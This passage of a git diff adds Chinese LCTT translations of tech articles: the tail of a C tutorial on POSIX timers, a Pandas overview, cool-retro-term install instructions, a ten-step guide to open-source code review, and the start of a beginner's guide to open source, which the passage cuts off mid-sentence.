0; +} + +void expired(union sigval timer_data){ +    struct t_eventData *data = timer_data.sival_ptr; +    printf("Timer fired %d - thread-id: %d\n", ++data->myData, gettid()); +} +``` + +这种方法的优点是在代码和简单调试方面用量小。缺点是由于到期时创建新线程而增加额外的开销,因此行为不太确定。 + +### 中断信号定时器 + +超时定时器通知的另一种可能性是基于 [内核信号][12]。内核不是在每次定时器过期时创建一个新线程,而是向进程发送一个信号,进程被中断,并调用相应的信号处理程序。 + +由于接收信号时的默认操作是终止进程(参考 [signal][13] 手册页),我们必须要提前设置好 Qt Creator,以便进行正确的调试。 + +当被调试对象接收到一个信号时,Qt Creator 的默认行为是: + + * 中断执行并切换到调试器上下文。 + * 显示一个弹出窗口,通知用户接收到信号。 + +这两种操作都不需要,因为信号的接收是我们应用程序的一部分。 + +Qt Creator 在后台使用 GDB。为了防止 GDB 在进程接收到信号时停止执行,进入 “工具Tools -> 选项Options” 菜单,选择 “调试器Debugger”,并导航到 “本地变量和表达式Locals & Expressions”。添加下面的表达式到 “定制调试助手Debugging Helper Customization”: + +``` +handle SIG34 nostop pass +``` + +![Signal no stop with error][14] + +*Sig 34 时不停止* + +你可以在 [GDB 文档][15] 中找到更多关于 GDB 信号处理的信息。 + +接下来,当我们在信号处理程序中停止时,我们要抑制每次接收到信号时通知我们的弹出窗口: + +![Signal 34 pop up box][16] + +*Signal 34 弹出窗口* + +为此,导航到 “GDB” 标签并取消勾选标记的复选框: + +![Timer signal windows][17] + +*定时器信号窗口* + +现在你可以正确的调试 `signal_interrupt_timer`。真正的信号定时器的实施会更复杂一些: + +``` +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define UNUSED(x) (void)(x) + +static void handler(int sig, siginfo_t *si, void *uc); +pid_t gettid(void); + +struct t_eventData{ +    int myData; +}; + +int main() +{ +    int res = 0; +    timer_t timerId = 0; + +    struct sigevent sev = { 0 }; +    struct t_eventData eventData = { .myData = 0 }; + + /* 指定收到信号时的操作 */ +    struct sigaction sa = { 0 }; + + /* 指定启动延时的时间和间隔时间 */ +    struct itimerspec its = {   .it_value.tv_sec  = 1, +                                .it_value.tv_nsec = 0, +                                .it_interval.tv_sec  = 1, +                                .it_interval.tv_nsec = 0 +                            }; + +    printf("Signal Interrupt Timer - thread-id: %d\n", gettid()); + +    sev.sigev_notify = SIGEV_SIGNAL; // Linux-specific +    sev.sigev_signo = SIGRTMIN; +    sev.sigev_value.sival_ptr = &eventData; + + /* 创建定时器 */ +    res = timer_create(CLOCK_REALTIME, &sev, &timerId); + +    if ( res != 0){ +        fprintf(stderr, "Error timer_create: %s\n", strerror(errno)); +        exit(-1); +    } + + /* 指定信号和处理程序 */ +    sa.sa_flags = SA_SIGINFO; +    sa.sa_sigaction = handler; + + /* 初始化信号 */ +    sigemptyset(&sa.sa_mask); + +    printf("Establishing handler for signal %d\n", SIGRTMIN); + + /* 注册信号处理程序 */ +    if (sigaction(SIGRTMIN, &sa, NULL) == -1){ +        fprintf(stderr, "Error sigaction: %s\n", strerror(errno)); +        exit(-1); +    } + + /* 启动定时器 */ +    res = timer_settime(timerId, 0, &its, NULL); + +    if ( res != 0){ +        fprintf(stderr, "Error timer_settime: %s\n", strerror(errno)); +        exit(-1); +    } + +    printf("Press ENTER to Exit\n"); +    while(getchar()!='\n'){} +    return 0; +} + +static void +handler(int sig, siginfo_t *si, void *uc) +{ +    UNUSED(sig); +    UNUSED(uc); +    struct t_eventData *data = (struct t_eventData *) si->_sifields._rt.si_sigval.sival_ptr; +    printf("Timer fired %d - thread-id: %d\n", ++data->myData, gettid()); +} +``` + +与线程定时器相比,我们必须初始化信号并注册一个信号处理程序。这种方法性能更好,因为它不会导致创建额外的线程。因此,信号处理程序的执行也更加确定。缺点显然是正确调试需要额外的配置工作。 + +### 总结 + +本文中描述的两种方法都是接近内核的定时器的实现。不过,即使 [timer_create(...)][2] 函数是 POSIX 规范的一部分,由于数据结构的细微差别,也不可能在 FreeBSD 系统上编译样例代码。除了这个缺点之外,这种实现还为通用计时应用程序提供了细粒度控制。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/10/linux-timers + +作者:[Stephan Avenwedde][a] +选题:[lujun9972][b] +译者:[FigaroCao](https://github.com/FigaroCao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/hansic99 +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/checklist_todo_clock_time_team.png?itok=1z528Q0y (Team checklist) +[2]: https://linux.die.net/man/2/timer_create +[3]: https://github.com/hANSIc99/posix_timers +[4]: https://www.qt.io/product/development-tools +[5]: https://opensource.com/sites/default/files/posix_timers_open_project_0.png +[6]: https://opensource.com/sites/default/files/posix_timers_project_configuration_2.png +[7]: http://www.opengroup.org/onlinepubs/009695399/functions/printf.html +[8]: http://www.opengroup.org/onlinepubs/009695399/functions/fprintf.html +[9]: http://www.opengroup.org/onlinepubs/009695399/functions/strerror.html +[10]: http://www.opengroup.org/onlinepubs/009695399/functions/exit.html +[11]: http://www.opengroup.org/onlinepubs/009695399/functions/getchar.html +[12]: https://man7.org/linux/man-pages/man3/signal.3p.html +[13]: https://linux.die.net/man/7/signal +[14]: https://opensource.com/sites/default/files/posix_timers_sig34_nostop_pass.png +[15]: https://sourceware.org/gdb/onlinedocs/gdb/Signals.html +[16]: https://opensource.com/sites/default/files/posix_timers_sig34_pop_up_2.png +[17]: https://opensource.com/sites/default/files/posix_timers_signal_windows.png +[0]: https://img.linux.net.cn/data/attachment/album/202301/09/150238f1d60cmvssr9d0js.jpg \ No newline at end of file diff --git a/published/202301/20220802 Pandas- The Popular Python Library for Data Analysis and Data Science.md b/published/202301/20220802 Pandas- The Popular Python Library for Data Analysis and Data Science.md new file mode 100644 index 0000000000..93b2331ae6 --- /dev/null +++ b/published/202301/20220802 Pandas- The Popular Python Library for Data Analysis and Data Science.md @@ -0,0 +1,109 @@ +[#]: subject: "Pandas: The Popular Python Library for Data Analysis and Data Science" +[#]: via: "https://www.opensourceforu.com/2022/08/pandas-the-popular-python-library-for-data-analysis-and-data-science/" +[#]: author: "Phani Kiran https://www.opensourceforu.com/author/phani-kiran/" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15484-1.html" + +Pandas:用于数据分析和数据科学的最热门 Python 库 +====== + +> Pandas 是一个十分流行的 Python 第三方库。本文介绍了 Pandas 库中的一些特性和函数,并且我们鼓励读者亲手使用 Pandas 库,来解决实际的业务问题。 + +Pandas 为 Python 中数据分析提供了基础和高级的构建组件。Pandas 库是用于数据分析与数据操作的最强大和最灵活的开源**分析工具**之一,并且它还提供了用于建模和操作表格数据(以行和列组织的数据)的**数据结构**。 + +Pandas 库有两个主要的数据结构:第一个是 “系列Series”,该数据结构能够很方便地从 Python 数组或字典中**按位置或指定的索引名称**来检索数据;第二个是“数据帧DataFrames”,该数据结构将数据存储在行和列中。列可以通过列名访问,行通过索引访问。列可以有不同类型的数据,包括列表、字典、序列、数据帧、NumPy 数组等。 + +### Pandas 库可以处理各种文件格式 + +有各种各样的文件格式。用于数据分析的工具必须能够提供处理各种文件格式的方法。 + +Pandas 可以读取各种文件格式,例如 CSV 文件、JSON 文件、XML 文件、Parquet 文件、SQL 文件,详见下表。 + +| | 写入 | 读取 | +| :- | :- | :- | +| CSV 文件 | `to_csv` 函数 | `read_csv` 函数 | +| JSON 文件 | `to_json` 函数 | `read_json` 函数 | +| Parquet 文件 | `to_parquet` 函数 | `read_parquet` 函数 | +| SQL 文件 | `to_sql` 函数 | `read_sql` 函数,`read_sql_query` 函数,`read_sql_table` 函数 | +| XML 文件 | `to_xml` 函数 | `read_xml` 函数 | + +### 使用 Pandas 进行数据清理 + +在现实场景中,很多数据集存在数据缺失、数据格式错误、错误数据或重复数据的情况,如果要对使数据分析更加准确,就需要对这些没有用的数据进行处理。此外,数据还会有需要 屏蔽mask 的敏感和机密信息。接下来,Pandas 提供了清理、丢弃、替换、屏蔽等方法,来处理这些坏数据。 + +#### Pandas 清洗空值: + +a. 空行可以使用 `df.dropna(inplace=True)` 方法来删除。 + +b. 空值可以使用 `df.fillna(, inplace=True)` 方法来替换。还可以指定某一个列来替换该列的空数据。 + +#### Pandas 屏蔽数据: + +c. 要屏蔽所有不满足条件 `my_list.where(my_list < 5)` 的敏感数据的值,可以使用 `my_list.mask(my_list < 5)`。 + +#### Pandas 清洗重复数据: + +d. 要删除重复数据,可以使用 `drop_duplicates()` 方法: + +``` +df.drop_duplicates(‘’, keep = False) +df.drop_duplicates(‘’, keep = ‘first’) +df.drop_duplicates(‘’, keep = ‘last’) +``` + +### 使用 Pandas 进行数据分析 + +下面的表格列出了 Pandas 中进行数据分析的各种函数,以及其语法。(请注意:`df` 代表一个 数据帧DataFrame 数据结构的实例。) + +| 语法 | 描述 | +| :- | :- | +| `df.head(x)` | `head()` 函数用于读取前面的 x 行,如果不填参数 x,默认返回 5 行 | +| `df.tail(x)` | `tail()` 函数用于读取尾部的 x 行,如果不填参数 x ,默认返回最后 5 行,空行各个字段的值返回 NaN | +| `loc(x:y)` | Loc 函数返回指定行的数据,也可以对数据进行切片 | +| `groupby('')` | 对指定列的数据进行分组 | +| `df['column'].sum()` | 计算指定列数据的总和 | +| `df['column']. mean()` | 计算指定列数据的算术平均值 | +| `df['column'].min()` | 计算指定列数据的最小值 | +| `df['column'].max()` | 计算指定列数据的最大值 | +| `df.sort_values(['column'])` | 在指定列上根据数值进行排序,默认升序 | +| `df.size` | 返回元素的个数,即为行数 * 列数 | +| `df.describe` | 返回对各列的统计汇总 | +| `pd.crosstab(df['column1'], df['column2'], margins = True)` | 创建 `column1` 和 `column2` 的交叉表 | +| `df.duplicated([column1, 'column2'])` | 根据 `column1` 和 `column2` 中的重复值,返回 `True` 或 `False` | + +### Pandas 的优点 + +* 支持多索引(层次索引),方便分析多维数据。 +* 支持数据透视表的创建,堆栈和取消堆栈操作。 +* 可以使用 Pandas 处理有限值的分类数据。 +* 支持分组和聚合运算。 +* 可以禁用排序。 +* 支持行级过滤(获取满足过滤条件的行)和列级过滤(只选择需要的列)。 +* 有助于重塑数据集(数组的维度变换)。还可以转置数组的值,并转换为列表。当你使用 Python 处理数据时,可以将 Pandas 数据帧转换为多维 NumPy 数组。 +* 支持面向标签的数据切片。 + +### Pandas 的不足 + +Pandas 的代码和语法与 Python 不同,所以人们需要额外再学习 Pandas。此外,相较于 Pandas,像三维数据这样的高维数据会在 NumPy 等其他库有更好的处理。 + +### 总结 + +Pandas 能够大幅提升数据分析的效率。它与其他库的兼容性使它在其他 Python 库中都能有效地使用。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/08/pandas-the-popular-python-library-for-data-analysis-and-data-science/ + +作者:[Phani Kiran][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/phani-kiran/ +[b]: https://github.com/lkxed +[0]: https://img.linux.net.cn/data/attachment/album/202301/27/163400o6afgegh0nf4nfec.jpg \ No newline at end of file diff --git a/published/202301/20221024.0 ⭐️⭐️ Give your Terminal a Retro Look Using this Neat Application.md b/published/202301/20221024.0 ⭐️⭐️ Give your Terminal a Retro Look Using this Neat Application.md new file mode 100644 index 0000000000..97ae7325bf --- /dev/null +++ b/published/202301/20221024.0 ⭐️⭐️ Give your Terminal a Retro Look Using this Neat Application.md @@ -0,0 +1,107 @@ +[#]: subject: "Give your Terminal a Retro Look Using this Neat Application" +[#]: via: "https://www.debugpoint.com/cool-retro-terminal/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15493-1.html" + +给你的终端一个复古的外观 +====== + +> 想让你的终端有一个复古的外观?本指南将帮助你在 Linux 发行版中安装 Cool Retro Terminal 应用程序。 + +![酷炫复古终端][1] + +你有没有想过如何在你的 Linux 终端中模仿那些老式 CRT 显示器的外观? + +那些 CRT 屏幕有自己的粉丝。如果你把苹果 2 或 IBM 3278 终端之类与今天的 4K 显示器显示相比较,它们的外观真的很酷。我并不是说 4K 显示器不好,但有时传统的显示器会让我们想起那些过去的日子。闲话少说。让我们开始安装这个应用程序。 + +### Cool Retro Terminal + +该应用程序是自由开源的。它被称为 [cool-retro-term][2]。它是轻量级的,有许多自定义选项,有预先设置的配置文件,如 Apple 2 等。它还能在你的终端中提供那些静态噪音和扫描线效果。很酷,不是吗? + +它是用 Qt 构建的,需要 Qt 5.2 或更高版本。如果你使用的是最新的 Linux 发行版,在依赖性方面你应该没问题。 + +![绿色扫描线主题][3] + +### 如何下载和安装 Cool Retro Terminal + +Ubuntu、Linux Mint 和其他基于 Debian 的发行版: + +使用下面的简单命令在你的 Ubuntu 和其他相关发行版中安装这个应用程序: + +``` +sudo apt install cool-retro-term +``` + +Arch Linux: + +这个软件包在 Arch 用户仓库(AUR)中可用。如果你没有启用 AUR,请使用 [本指南][4] 启用它,然后使用以下命令来安装它: + +``` +pacman -S cool-retro-term +``` + +Fedora、RHEL 和其他相关发行版: + +对于 Fedora 和其他相关的 Linux,使用下面的命令来安装这个应用程序: + +``` +sudo dnf install cool-retro-term +``` + +Appimage: + +也有一个 AppImage 格式的独立的可执行程序,你可以直接下载并运行。不需要安装。按照下面的命令来做: + +``` +wget https://github.com/Swordfish90/cool-retro-term/releases/download/1.1.1/Cool-Retro-Term-1.1.1-x86_64.AppImage +chmod a+x Cool-Retro-Term-1.1.1-x86_64.AppImage +./Cool-Retro-Term-1.1.1-x86_64.AppImage +``` + +注意:在 GitHub 中,没有 1.2.0 以后的版本的 AppImage 构建版。 + +### 配置 + +安装完成后,你可以在应用程序菜单中找到终端应用程序 “Cool Retro Term”。那么,启动该应用程序并享受其中吧。 + +请记住,这覆盖你的 Linux 发行版中的默认控制台/终端应用程序。它是一个独立的控制台应用程序。 + +配置选项可以通过右键菜单访问。 + +上下文菜单给你提供了以下预设。然后你可以通过设置窗口对它们中的每一个进行颜色和外观设置的配置。例如,如果你想要更多的透明度、对比度或更多的噪音、环境光或闪烁。所有这些都可以从下面的设置窗口通过几个选项进行配置。 + +而且,你可以轻松地制作你自己的主题。 + +![Cool Retro Term 中的预装主题][5] + +![设置中的各种效果][6] + +### 总结 + +Cool Retro Terminal 是一个用于 Linux 桌面的老式显示管终端,它可以让你体验到如同坐在复古终端前的感觉。你可能喜欢,也可能不喜欢,而且人们几乎不把它作为日常使用。但它仍然是一个漂亮的终端,可以时不时地体验一下,以摆脱平凡的终端。 + +你喜欢复古的外观吗?你最喜欢的主题是什么?请在下面的评论区告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/cool-retro-terminal/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2021/12/cool-retro-terminal-1024x576.jpg +[2]: https://github.com/Swordfish90/cool-retro-term +[3]: https://www.debugpoint.com/wp-content/uploads/2021/12/Green-Scanlines-Theme-1024x594.jpg +[4]: https://www.debugpoint.com/2021/01/install-yay-arch/ +[5]: https://www.debugpoint.com/wp-content/uploads/2021/12/Pre-loaded-Themes-in-Cool-Retro-Term-1024x599.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2021/12/Various-Effects-in-Settings.jpg diff --git a/published/202301/20221031.1 ⭐️⭐️⭐️ 10 universal steps for open source code review.md b/published/202301/20221031.1 ⭐️⭐️⭐️ 10 universal steps for open source code review.md new file mode 100644 index 0000000000..4fba5a0966 --- /dev/null +++ b/published/202301/20221031.1 ⭐️⭐️⭐️ 10 universal steps for open source code review.md @@ -0,0 +1,142 @@ +[#]: subject: "10 universal steps for open source code review" +[#]: via: "https://opensource.com/article/22/10/code-review" +[#]: author: "Martin Kopec https://opensource.com/users/martin-kopec" +[#]: collector: "lkxed" +[#]: translator: "yzuowei" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15489-1.html" + +开源代码评审的十个通用步骤 +====== + +![][0] + +> 只要你遵循这些通用流程,代码评审并不可怕。 + +你是否需要在你还没有完全理解整个项目时就对代码进行评审?抑或你避开了评审,以免让你看起来不知道如何进行。 + +本篇文章想要告诉你一个更好的方法。代码评审code review 并不需要你知道所有事情。实际上,就我个人经验而言,这种情况非常普遍。 + +我还记得作为实习生加入 红帽Red Hat 的时候,被要求参与代码评审。我们当时采取的是 +1 或 -1 的投票系统,而我在一开始的时候常常踌躇于该如何评审。我发现我会问自己,如果我对于一处改动给予了 +1,而别人却投了 -1,我是不是看起来很蠢? + +如果你对一处改动投了 +1,而别人投了 -1,这又意味着什么呢?答案是不意味任何事!你可能只是漏掉了一处别人注意到的细节。这不意味着世界末日。这也是为什么我们会用投票系统。正如同所有开源项目一样,代码合并是一项协同工作。 + +最近,我接到了太多的代码评审工作,以至于我几乎做不过来。我同时也注意到,参与评审的贡献者数量正在稳步减少。 + +出于这个原因,我想要写一篇文章阐述我对代码评审的个人观点。在这篇文章里,我会分享一些诀窍与技巧。我将会向你展示几个用来问自己的问题,以及在评审代码时需要注意的一些地方。 + +### 代码评审的目的是什么? + +你是否曾写过一个非常简单的补丁?你认为它是如此微不足道,不需要审查。或许你直接就合并了它。直到晚些时候,你意识到你犯了个错误,一个明显的或是愚蠢的错误,比如错误的缩进,比如几行重复的代码而不是调用函数(是的,这些都是经验之谈!)。 + +如果有其他人来审查代码,就会发现这些东西。 + +代码评审的一个目的便是为你带来一双新的眼睛,从新的视角看待你要尝试解决的问题。这种新的背景也正是为什么代码评审至关重要。 + +你可能认为你必须是一个语言专家,才能审查别人的代码、项目,或两者。让我来告诉你一个所有代码评审者都想跟你说的秘密吧:大错特错!你并不需要完全理解该项目或者编程语言,就可以为一个改动提供全新的视角。下面,我将向你展示代码评审的通用流程。 + +### 代码评审的通用流程 + +这是我的代码评审流程,拆分成了几个要点。这个流程包含了我会问自己的一些问题,以帮助我专注于代码的变化以及其后果。你不需要严格依照这个顺序来进行评审。如果有任何原因导致你无法执行其中的某一步,跳过那一步就好。 + +#### 1、理解改动,它想要解决的问题,以及为什么要这么做 + +为什么需要改动的解释以及任何相关背景都应该被放在 提交commit 信息里。如果没有,请要求提供,并请投 -1 直到相关信息被提供。 + +改动想解决的问题需要被解决吗?它是项目应当关注的问题,还是与项目完全无关? + +#### 2、你会如何实现解决方案?它会不一样吗? + +在这个时候,你应该已经知道代码改动是为了什么。换做是你会怎么做?在进一步对改动进行细节评审前,先思考这个问题。如果你想出了一个不一样的解决方案,并且你认为你的方案更好,在评审中提出来。你不需要投 -1;去问问作者为什么没有往那个方向走,看看这次讨论会把你们带向何方。 + +#### 3、运行有改动和没有改动的代码 + +我通常会在代码中设置几个断点,运行代码并检查新代码是如何与其余部分互动的。 + +如果你无法运行整个代码,试着将带有新代码的函数复制到一个新的本地文件,模拟输入数据,然后运行。这在你不知道怎么运行整个项目,或者无法接触到运行所需的特殊环境时很有帮助。 + +#### 4、新代码会破坏任何东西吗? + +我是说,任何东西。想一想可能的后果。 + +以一个新的命令行选项为例,它会总是被目标所接受吗? + +是否存在这样一种情况,使得新选项无法被接受或是会与其他东西起冲突? + +或许新代码是导入了新的东西。那么这个新的库,以及可能的新的依赖关系,能够在老版本或者项目的运行系统中被找到吗? + +安全方面呢?新的依赖足够安全吗?你至少可以在网上快速地搜索一下。还有,注意一下控制台日志里的警告。有的时候在同一个库里也可以找到更安全的函数。 + +#### 5、新代码是否有效? + +你刚刚确认了被提出的解决方案大概是正确的。现在该检查代码本身了。你需要关注代码的有效性和必要性。 + +检查新代码的风格。它与项目的代码风格相匹配吗?任何开源项目都(应该)有一份文档告知(新)贡献者项目所遵循的风格和优秀实践。 + +比如说,OpenStack 社区的所有项目都有一份 HACKING.rst 文件。你经常也能找到一份[新贡献者指南][1]包含所有必须知道的信息。 + +#### 6、确认所有新增的变量和导入都被使用 + +你正在评审的代码常常已经过多次迭代,有的时候代码的最终版本与初始版已迥然不同。所以我们很容易忘记一些在历史版本中加入的变量与引用。自动化检测通常会用到 lint 工具,类似 Python 中的 [flake8][12]。 + +(LCTT 译注:[lint][5] 指编程中用来发现代码潜在错误和约束代码风格的工具,起源于 C 语言编程中的静态分析工具 `lint`。“lint” 本意为衣服上积累的绒毛与灰尘,“lint” 的取名寓意则在于捕捉编程时产生的“绒毛与灰尘”) + +(LCTT 校注:我建议,“Lint” 工具可以翻译为 “代码清理” 或 “代码清洁” 工具。) + +你可以在不声明新变量的情况下重写代码吗?通常情况下你可以,但问题是这样是否更好。这会带来什么益处吗?我们的目标不是要创造尽可能多的单行代码,而是写出高效且易读的代码。 + +#### 7、新的函数和方法是否必要? + +项目里的别的地方是否存在可以被复用的功能类似的函数?确保避免重新发明轮子以及重新实现已经被定义的逻辑永远都是值得的。 + +#### 8、有单元测试吗? + +如果补丁增加了新的函数或者在函数内添加了新的逻辑,它也应该附带对应的单元测试。新函数的作者总是比别人更适合写该函数的单元测试。 + +#### 9. 验证重构 + +如果这次提交对现有代码进行了重构(它可能重命名了某个变量,或者是改变了的变量的作用域,或者是通过加减参数来改变函数的足迹,又或者是删去了某个东西),问一问你自己: + +- 这个可以被删除吗?它会影响到稳定分支吗? +- 所有出现的地方都删掉了吗? + +你可以利用 [grep 命令][3] 来查找。你不会相信有多少次我投 -1 就是因为这个。这是一个任何人都会犯的简单错误,也正因如此任何人都可以发现它。 + +提交的所有者很容易忽略这些事情,这完全可以理解。我也犯过很多次这种错误。我最终发现问题的根源在于我太急于提出评审,以至于我忘记了对仓库进行整体检查。 + +除了对项目仓库的检查外,检查其他代码用户也十分必要。如果有别的项目导入了这个项目,它们可能也需要进行重构。在 OpenStack 社区中,我们有对应的工具来查询别的社区项目。 + +#### 10、项目文档是否需要做出更改? + +你可以再一次使用 [grep 命令][4] 来检查在项目文档中是否提到了相关的代码改动。用常识来判断这次改动是否需要被收入文档以告知最终用户,还是只是一个不会影响用户体验的内部变化。 + +#### 额外提示:考虑周到 + +当你在评审完新代码后提出建议或评论时,要考虑周到,反馈准确,描述详尽。如果有你不理解的地方就发出提问。如果你认为代码存在错误,解释你的理由。记住,如果作者不知道什么地方出了问题,他们就无法修复它。 + +### 最后几句 + +唯一的坏评审是没有评审。通过评审和投票,你提供了你的观点并为此投票。没有人指望你来做出最终决定(除非你是核心维护者),但是投票系统允许你提供你的观点和意见。相信我,补丁所有者会很高兴你这么做了的。 + +你能想到别的要点来给出好的评审吗?你是否有我不知道的特殊技巧?在评论中分享它们吧! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/code-review + +作者:[Martin Kopec][a] +选题:[lkxed][b] +译者:[yzuowei](https://github.com/yzuowei) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/martin-kopec +[b]: https://github.com/lkxed +[1]: https://docs.openstack.org/tempest/latest/contributor/contributing.html +[2]: https://opensource.com/article/19/5/python-flake8 +[3]: https://opensource.com/downloads/grep-cheat-sheet +[4]: https://www.redhat.com/sysadmin/how-to-use-grep +[5]: https://codedocs.org/what-is/lint-software +[0]: https://img.linux.net.cn/data/attachment/album/202301/29/140840wsbypukbubp69buv.jpg \ No newline at end of file diff --git a/published/202301/20221107.1 ⭐️⭐️ What you actually need to know about open source to get started.md b/published/202301/20221107.1 ⭐️⭐️ What you actually need to know about open source to get started.md new file mode 100644 index 0000000000..64cc2ea564 --- /dev/null +++ b/published/202301/20221107.1 ⭐️⭐️ What you actually need to know about open source to get started.md @@ -0,0 +1,101 @@ +[#]: subject: "What you actually need to know about open source to get started" +[#]: via: "https://opensource.com/article/22/11/get-started-open-source" +[#]: author: "Katie Edwards https://opensource.com/users/kaedward" +[#]: collector: "lkxed" +[#]: translator: "yzuowei" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15492-1.html" + +关于开源,你需要知道些什么 +====== + +![][0] + +> 一份用简单直白的语句来解释开源的新手指南。 + +要是你想要(或需要)知道 [开源][1] 的意思究竟是什么。我会介绍开源的一些基础,无论你是对项目贡献感兴趣,还是在想要融入的新工作圈子里总是听到这个名词,因为这个词总是被人不断的提起。 + +我坦白,我这个人没什么技术经验,在极具技术性的开源社区中从事着内容设计的边缘工作。考虑到我原来的背景是营销与传播,我决定换工作时感觉就像离了水的鱼儿。[Git][2]、数据科学、软件的来龙去脉……直到一年后的今天,我依然感到难以消化。 + +但这正是为什么我要写这篇文章。我想要让开源变得不那么令人生畏。毕竟,开源的中心是一个支持型的学习社区 —— 这个社区对所有人开放,无论你是否有技术经验。 + +我会从基础中的基础开始。 + +### 什么是开源? + +在此声明,业界对开源的定义可以在 [开放源代码促进会][3]Open Source Initiative 的网站找到。 + +然而,大众对“开源”软件的认知通常为它不用花钱,它的源代码是公开的,任何人都可以对其贡献,你可以重新发布它或者用它做任何你想做的事。 + +这里面有些是真的,而有些则属于常见的误解,其中之一就是关于花费。 + +#### 开源只要 0 元 + +这是真的吗?大部分情况下是,但不是所有情况。开源软件的本质在于代码的公开性,所以获取软件本身确实不需要花费。但是,依赖开源项目营利的公司也确实存在。但如果软件不需要花钱,开源公司又是如何生存的?他们该如何盈利? + +拥有“免费产品”这个概念本身是反直觉的。但你要知道:一个公司不一定要靠出售软件来赚钱,它也可以从产品的管理,数据的储存,以及对客户的支持中获利。 + +很多公司都采用了订阅模式,他们提供客户支持服务以帮助客户解决软件问题并为客户解答疑惑。数据储存也并非免费,这也是能为公司带来收入的另一领域。从这个角度来说,在销售的“产品”不是软件,而是订阅服务。 + +- **开源代码是公开访问的**:这是真的吗?是的,永远都是。“开源”一词的先决条件正是这份公开性。源代码必须允许被查看、使用、修改和重新发布。 +- **你可以用这份代码做任何你想做的事**:这是真的吗?依情况而定。许可证条款会对你对代码的使用方式作出限制,但你通常都可以用代码做你想做的事。无论是调整该项目以满足特殊需求,还是以此为基础做些别的,开源软件允许你和其他所有人对其修改。 +- **任何人都可以贡献开源项目**:这是真的吗?是的,但有限制。所有有 [合适技能][4] 的人都可以贡献开源。但是,这不意味着所有的贡献都会被接受和采纳。 + +比如说,你对一个目标是对地球上所有的鸟类进行分类的项目感兴趣。你恰好很喜欢恐龙,特别是那些最终进化成如今的鸟类的恐龙。于是,你为所有最像鸟类的恐龙提交了条目。项目所有者在看到这些后可能会想:“不错,这都是些很棒的史前鸟类。”但他们也可能会认为:“嗯……这些恐龙看起来像鸟,但他们还不是鸟,因此他们不属于鸟类百科。” + +幸运的是,项目里的工作通常有法可依。开源项目通常有着贡献指南和行为准则,所以你不用担心你会加入什么使得项目脱轨的东西。 + +### 为什么选择开源呢? + +那么,在众多贡献之后(如果这些贡献完成的话),为什么人们愿意免费赠送他们的软件?如果有那么多人为此付出了时间与精力,他们为什么不能联合起来为软件明码标价? + +这个问题有很多回答。我在这里给出了一些: + +- 创业是艰难的,如果你开发的项目展现不出赚钱的潜力则尤其如此。召集一群志同道合的人,没有承诺也没有对薪水的期望,相对而言要简单得多。 +- 大部分开源社区的成员对软件的改进或者实现感兴趣,但他们没有时间或者不愿意将项目作为他们的全职工作。有时候开源代表的是热情驱动的项目、极客组成的团体,还有凝聚众人智慧对恼人问题的解决方案。 +- 围绕各种规模的开源项目形成的团体促进了支持型社区的成形,在这里贡献者与旁观者都可以练习他们的技能,改进他们常用的软件,互教互学,并为发声被听到而感到振奋。很多开源社区本质上就是高度集中的线上爱好者俱乐部。 + +### 我该如何参与呢? + +现在你可能会问你自己:“我知道了这些信息又可以做些什么呢?我能贡献开源项目吗?如果我不够优秀的话该怎么办?” + +不要害怕 —— 即便是 [新手][5] 也欢迎为开源项目做贡献。在与社区一起朝着更大的目标共同努力的同时,你也得到了一个磨练技能的绝佳机会。况且,正如我之前所说,最坏的情况也不过是你的提交不被“鸟类百科”所接受(而这也是因为项目的所有者看不到你对鸟类百科的愿景,那是一片关于鸟类知识的网络天地,鸟与他们的祖先在那里愉快地共存)。 + +你需要会写代码来贡献开源吗?与大众认知相违的是,[你不需要][6]。项目“需要举全村之力”以兴旺,这意味着他们需要来自不同背景的人的贡献。视觉设计师、撰稿人、营销、评审、翻译、主题爱好者,甚至只是最终产品的用户,都是可贵的贡献者。他们不仅是帮忙搭建并改进了产品,他们也识别出了漏洞,提出了修改建议,为项目做出宣传,最终使得社区强大。 + +简单来说,不论你的背景是什么,经验有多少,只要你对开源或是某个特别的项目感兴趣,你几乎可以保证会被张开双臂欢迎。 + +### 现在就加入开源吧 + +还是不确定应该从哪开始?这里有些能帮助你的想法和资源: + +- [Up For Grabs][7] 是一份“专门为新贡献者策划任务的开源项目清单。”这里很适合新贡献者们来寻找简单的初次 PR 机会,这次机会也能让你探寻你更喜欢哪种贡献。 +- 来看看 GitHub 上的这份 [新手友好项目][8] 列表吧。 +- 如果你还是缺乏灵感,考虑一下[贡献][9](或一起“飞”) 红帽Red Hat的开放设计系统 [PatternFly][10]。 +- LCTT 夹带私货:你还可以通过参与 LCTT 